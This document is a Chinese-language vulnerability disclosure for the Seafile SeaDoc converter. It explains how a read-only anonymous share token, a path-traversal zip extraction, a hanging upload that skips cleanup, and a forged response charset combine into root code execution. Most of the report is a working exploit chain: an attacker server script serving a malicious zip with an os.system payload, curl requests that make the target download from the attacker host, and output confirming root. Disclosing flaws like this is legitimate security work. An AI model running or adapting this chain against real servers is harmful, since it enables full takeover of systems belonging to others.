Seafile 漏洞报告
软件名称:Seafile
开发者或厂商:海文(Haiwen)
代码仓库:https://github.com/haiwen/seafile-server
1. SeaDoc converter 未授权远程代码执行
简要描述:若攻击者持有公开的 .sdoc 分享链接,则可经由 SeaDoc converter 实现 RCE。
影响版本:SeaDoc 2.0.x ~ 3.x
前置条件:存在公开的 .sdoc 分享链接,或存在公开发布的 wiki。
漏洞成因
SeaDoc 由 seahub、sdoc-server、seadoc-converter 三个进程组成,分别负责鉴权与页面渲染、协同编辑、格式转换,三者共用同一个 HMAC 密钥 JWT_PRIVATE_KEY。用户打开公开的 .sdoc 分享链接时,seahub 会在页面中内嵌一个 JWT token,供匿名预览使用。
seadoc-converter 中的 check_auth_token 函数存在鉴权漏洞,该函数仅校验签名是否合法,既不判断 token 的归属,也不判断 token 所具备的权限。该函数的实现如下:
# seadoc_converter/server/apis.py:25-41 commit 79e46fdcd9
def check_auth_token(req):
auth = req.headers.get('Authorization', '').split()
if not auth or auth[0].lower() != 'token' or len(auth) != 2:
return False
token = auth[1]
if not token:
return False
private_key = config.SEADOC_PRIVATE_KEY
try:
jwt.decode(token, private_key, algorithms=['HS256'])
except (jwt.ExpiredSignatureError, jwt.InvalidSignatureError) as e:
logger.exception(e)
return False
return True
可见,一旦签名校验通过,check_auth_token 函数就返回 True,故该匿名 token 可获得 converter 全部接口的调用权限,payload 中的 permission 字段实际上无效。
converter 提供 /api/v1/confluence-to-wiki/ 接口。该接口把请求体中的 filename 当成路径用于 os.path.join,相关代码如下:
# seadoc_converter/server/apis.py:303-325 commit 79e46fdcd9
underscore_index = filename.rfind('_')
if underscore_index != -1:
space_key = filename[underscore_index + 1:-len('.html.zip')]
elif 'Confluence-space-export-' in filename:
wiki_name = filename[:-len('.html.zip')]
space_key = filename[len('Confluence-space-export-'):-len('.html.zip')]
else:
wiki_name = filename[:-len('.html.zip')]
space_key = wiki_name
try:
extract_dir = '/tmp/wiki'
space_dir = os.path.join(extract_dir, space_key)
zip_file_path = os.path.join(extract_dir, filename)
if not os.path.exists(extract_dir):
os.mkdir(extract_dir)
# Deploy on two machines
is_same_machine = True
if not os.path.exists(space_dir):
os.mkdir(space_dir)
is_same_machine = False
response = requests.get(download_url)
with ZipFile(BytesIO(response.content), 'r') as zip_ref:
zip_ref.extractall(space_dir)
os.path.join 有一个特性:第二个参数以斜杠开头时,它会丢弃第一个参数,直接取第二个参数。于是 space_dir 就是攻击者指定的绝对路径,压缩包可以解压到任意目录,写入动作由 converter 进程完成,路径与内容全部由攻击者决定。攻击者只要把 space_key 设为 /usr/lib/python3.12/encodings/cp273,压缩包中的 __init__.py 就会落到 encodings 包内,成为 cp273 子包。
上述文件写入完成之后,本应被 converter 清理,清理语句位于 finally 块中。但进入 finally 之前还要先上传结果,而这次上传请求没有设置超时。代码如下:
# seadoc_converter/converter/utils.py:221-223 commit 79e46fdcd9
resp = requests.post(upload_url, files=files)
if not resp.ok:
raise Exception(f"upload zip file failed: {resp.text}")
清理部分的实现如下:
# seadoc_converter/server/apis.py:335-339 commit 79e46fdcd9
finally:
if not is_same_machine:
shutil.rmtree(space_dir)
if os.path.exists(zip_file_path):
os.remove(zip_file_path)
若把 upload_url 指向一个接受连接却迟迟不响应的地址,requests.post 就会一直阻塞,finally 不会执行,此前写入的文件因此可以留在磁盘上。
文件留在磁盘上并不会自己执行,还需要触发一次加载。/api/v1/file-convert/ 接口在上传失败时会把响应体写入日志,相关代码如下:
# seadoc_converter/server/apis.py:103-109 commit 79e46fdcd9
resp = requests.post(upload_url,
data={'target_file': new_file_path, 'parent_dir': parent_dir},
files={'file': (file_name, file_content.encode())}
)
if not resp.ok:
logger.error(resp.text)
return {'error_msg': resp.text}, 500
requests 取 Response.text 时会调用 str(self.content, encoding),其中 encoding 来自响应头的 charset。攻击者让上传地址返回 500,同时声明 charset=cp273,CPython 在解码时就会懒加载 encodings 包中对应的 codec。FileFinder 查找模块时先看同名目录包 <name>/__init__.py,再看同名模块 <name>.py,于是它加载的正是此前写入的 encodings/cp273/__init__.py,其中的代码就此执行,全程不需要重启服务。
复现环境搭建
实验环境用官方 Docker compose 部署,操作如下:
mkdir seafile && cd seafile
wget https://manual.seafile.com/13.0/repo/docker/ce/env
wget https://manual.seafile.com/13.0/repo/docker/ce/seafile-server.yml
wget https://manual.seafile.com/13.0/repo/docker/ce/caddy.yml
wget https://manual.seafile.com/13.0/repo/docker/ce/seadoc.yml
docker compose up -d
环境启动后,创建一个账号,新建 .sdoc 文件,生成公开分享链接。
复现过程
打开分享链接:

在页面源码中搜索 seadocAccessToken,复制其后的字符串,得到下面这个 JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaWxlX3V1aWQiOiIwODhlZTNlMy1hMTcxLTQ3M2YtYTNkYi01NmJjYjE0OWMwNjUiLCJmaWxlbmFtZSI6Im5vdGUuc2RvYyIsInVzZXJuYW1lIjoiQW5vbnltb3VzIiwibmFtZSI6IkFub255bW91cyIsImF2YXRhcl91cmwiOiJodHRwOi8vc2VhZmlsZS5sb2NhbC9tZWRpYS9hdmF0YXJzL2RlZmF1bHQucG5nIiwicGVybWlzc2lvbiI6InIiLCJkZWZhdWx0X3RpdGxlIjoibm90ZS5zZG9jIiwiZXhwIjoxNzkzMDcyMzU1fQ.X7G6WFnatacDI6Fg9fDT0DmkyYzv5Vgub28spPXOi3g
该 JWT 是只读的匿名凭据,解码结果如下:
{
"file_uuid": "088ee3e3-a171-473f-a3db-56bcb149c065",
"filename": "note.sdoc",
"username": "Anonymous",
"name": "Anonymous",
"avatar_url": "http://seafile.local/media/avatars/default.png",
"permission": "r",
"default_title": "note.sdoc",
"exp": 1793072355
}
接下来用这个凭据实施 RCE。converter 会从 download_url 下载压缩包,并把处理结果 POST 到 upload_url。因此需要在目标服务器可访问的主机上运行一个服务,提供四个端点,其中 /payload.zip 返回待写入的压缩包,/md 返回供转换的 markdown 文本,/hang 接受连接但不作响应,/err/<codec> 返回 500 并声明指定的 charset,脚本如下:
import asyncio
import io
import zipfile
from fastapi import FastAPI, Response
from fastapi.responses import PlainTextResponse
def build_zip():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr('__init__.py',
"import os\n"
"if os.fork() == 0:\n"
" os.system('id > /root/pwned; hostname >> /root/pwned')\n"
" os._exit(0)\n")
z.writestr('page.html',
'<html><body><div id="main-content"><h1>Hello</h1>'
'<p>world</p></div></body></html>')
return buf.getvalue()
ZIP = build_zip()
app = FastAPI()
@app.get('/payload.zip')
def payload():
return Response(ZIP, media_type='application/zip')
@app.get('/md')
def md():
return PlainTextResponse('# hello\n\nworld\n')
@app.post('/hang')
async def hang():
await asyncio.sleep(3600)
@app.post('/err/{codec}')
def err(codec: str):
return Response('boom', status_code=500,
media_type='text/plain; charset=%s' % codec)
下文以 192.0.2.10 表示该主机的地址,端口 18099 仅作示例,复现时替换为实际值。启动服务:
uvicorn attacker_server:app --host 0.0.0.0 --port 18099
接下来向 confluence-to-wiki 接口发送请求,filename 填 /usr/lib/python3.12/encodings/cp273aaaaaaaaa,upload_url 填 http://192.0.2.10:18099/hang。这个请求不会返回,命令如下:
TOKEN='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaWxlX3V1aWQiOiIwODhlZTNlMy1hMTcxLTQ3M2YtYTNkYi01NmJjYjE0OWMwNjUiLCJmaWxlbmFtZSI6Im5vdGUuc2RvYyIsInVzZXJuYW1lIjoiQW5vbnltb3VzIiwibmFtZSI6IkFub255bW91cyIsImF2YXRhcl91cmwiOiJodHRwOi8vc2VhZmlsZS5sb2NhbC9tZWRpYS9hdmF0YXJzL2RlZmF1bHQucG5nIiwicGVybWlzc2lvbiI6InIiLCJkZWZhdWx0X3RpdGxlIjoibm90ZS5zZG9jIiwiZXhwIjoxNzkzMDcyMzU1fQ.X7G6WFnatacDI6Fg9fDT0DmkyYzv5Vgub28spPXOi3g'
curl -s -X POST http://seafile.local/sdoc-server/converter/api/v1/confluence-to-wiki/ \
-H "Authorization: token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"filename":"/usr/lib/python3.12/encodings/cp273aaaaaaaaa","download_url":"http://192.0.2.10:18099/payload.zip","upload_url":"http://192.0.2.10:18099/hang","username":"demo"}'
此时,seadoc 容器内可以看到写入成功:
$ ls -l /usr/lib/python3.12/encodings/cp273/
total 20
-rw-r--r-- 1 root root 104 Oct 24 03:43 __init__.py
drwxr-xr-x 2 root root 4096 Oct 24 03:43 md_output
drwxr-xr-x 2 root root 4096 Oct 24 03:43 __pycache__
-rw-r--r-- 1 root root 563 Oct 24 03:43 sdoc_archive.zip
drwxr-xr-x 2 root root 4096 Oct 24 03:43 sdoc_output
然后再向 file-convert 接口发送请求,upload_url 填 http://192.0.2.10:18099/err/cp273,该地址返回 500 并声明 charset=cp273,命令如下:
curl -s -X POST http://seafile.local/sdoc-server/converter/api/v1/file-convert/ \
-H "Authorization: token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"path":"/x.md","src_type":"markdown","dst_type":"sdoc","username":"demo","doc_uuid":"088ee3e3-a171-473f-a3db-56bcb149c065","download_url":"http://192.0.2.10:18099/md","upload_url":"http://192.0.2.10:18099/err/cp273"}'
响应如下:
{"error_msg":"boom"}
此时,服务器上可以看到命令执行结果:
$ cat /root/pwned
uid=0(root) gid=0(root) groups=0(root)
508640b9e839